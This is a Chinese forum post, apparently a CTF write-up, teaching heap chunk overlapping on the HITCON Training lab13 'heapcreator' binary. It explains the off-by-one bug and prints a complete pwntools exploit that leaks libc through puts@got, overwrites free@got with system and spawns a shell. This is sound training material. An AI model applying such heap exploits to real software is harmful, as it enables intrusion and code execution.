首页
社区
课程
招聘
堆漏洞利用 chunk overlapping
2024-3-5 14:24 1410

堆漏洞利用 chunk overlapping

2024-3-5 14:24
1410

介绍

实现 chunk overlapping 需要以下条件:

  • 程序中有基于堆的漏洞
  • 该漏洞可以修改 chunk header 中的数据

流程一般是:

  • 分配两个堆
  • 修改第一个堆的 size
  • free 第一个堆
  • 重新 malloc 两个堆大小的堆
  • 这样就可以控制第二个堆的内容

HITCON Trainging lab13

基本信息

图片描述

开启 canany 与 NX

基本功能

简单运行一下程序

图片描述

这里我通过先 create,再 edit 输入超过 size 的字符串发现程序存在 off-by-one 漏洞

主要功能如下:

  • 添加堆,这里先 lp1 = malloc(0x10),将 lp1 保存到 bss 段中,然后再 lp2 = malloc(size),将 size 和 lp2 保存到 lp1 指向的堆中,再在 lp2 指向的堆中读入内容
  • 修改堆,修改堆的内容,但这里多读入了一个字符,存在 off-by-one 漏洞
  • 展示堆,通过 printf 输出
  • 删除堆,这里删除的很干净,没有 UAF 漏洞

trick - 判断 libc.so.6 版本

题目只给了 libc.so.6,我们要如何知道该 libc 的版本呢

我这里是将 libc.so.6 拖入 IDA Pro 中,再找到 gnu_get_libc_version 函数,然后就能看到版本了

这里是 2.23 版本

图片描述

基本思路

  • 通过 off-by-one 漏洞实现 overlap
  • 覆盖 lp2 为 puts@got,通过展示堆泄露 libc 地址
  • 覆盖 lp2 为 binsh 地址
  • 覆盖 free@got 处的地址为 system 地址
  • 通过删除堆调用 system('/bin/sh')

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import *
 
 
context(arch='amd64', os='Linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
 
p = process('./heapcreator')
heapcreator = ELF('./heapcreator')
libc = ELF('./libc.so.6')
 
# gdb.attach(p)
 
def create(size, content):
    p.sendlineafter(b'Your choice :', b'1')
    p.sendlineafter(b'Size of Heap :', str(size))
    p.sendlineafter(b'Content of heap:', content)
    p.recvline()
 
def edit(idx, content):
    p.sendlineafter(b'Your choice :', b'2')
    p.sendlineafter(b'Index :', str(idx))
    p.sendlineafter(b'Content of heap :', content)
    p.recvline()
 
def show(idx):
    p.sendlineafter(b'Your choice :', b'3')
    p.sendlineafter(b'Index :', str(idx))
    p.recvline() # Size :
    # Content :
 
def delete(idx):
    p.sendlineafter(b'Your choice :', b'4')
    p.sendlineafter(b'Index :', str(idx))
    p.recvline()
 
# overlapping 基本结构
# 泄露 libc 地址
create(0x18, b'AAAAAAAA')
create(0x10, b'AAAAAAAA')
edit(0, b'A'*0x18 + b'\x41')
delete(1)
# raw_input()
create(0x30, b'A'*0x28 + p64(heapcreator.got['puts']))
 
show(1)
 
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
log.success('puts: ' + hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
 
log.success('libc: ' + hex(libc_base))
log.success('system: ' + hex(system_addr))
log.success('binsh: ' + hex(binsh))
 
# 将 lp2 覆盖为 binsh 地址
create(0x18, b'AAAAAAAA')
create(0x10, b'AAAAAAAA')
edit(2, b'A'*0x18 + b'\x41')
# raw_input()
delete(3)
# raw_input()
create(0x30, b'A'*0x20 + p64(0x8) + p64(binsh))
 
# 将 free@got 处地址覆盖为 system 地址
create(0x18, b'AAAAAAAA')
create(0x10, b'AAAAAAAA')
edit(4, b'A'*0x18 + b'\x41')
# raw_input()
delete(5)
# raw_input()
create(0x30, b'A'*0x20 + p64(0x8) + p64(heapcreator.got['free']))
# raw_input()
edit(5, p64(system_addr))
 
# 调用 system('/bin/sh')
p.sendlineafter(b'Your choice :', b'4')
p.sendlineafter(b'Index :', b'3')
 
p.interactive()

[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

收藏
点赞1
打赏
分享
最新回复 (1)
雪    币: 19349
活跃值: (28971)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
秋狝 2024-3-10 16:12
2
1
感谢分享
游客
登录 | 注册 方可回帖
返回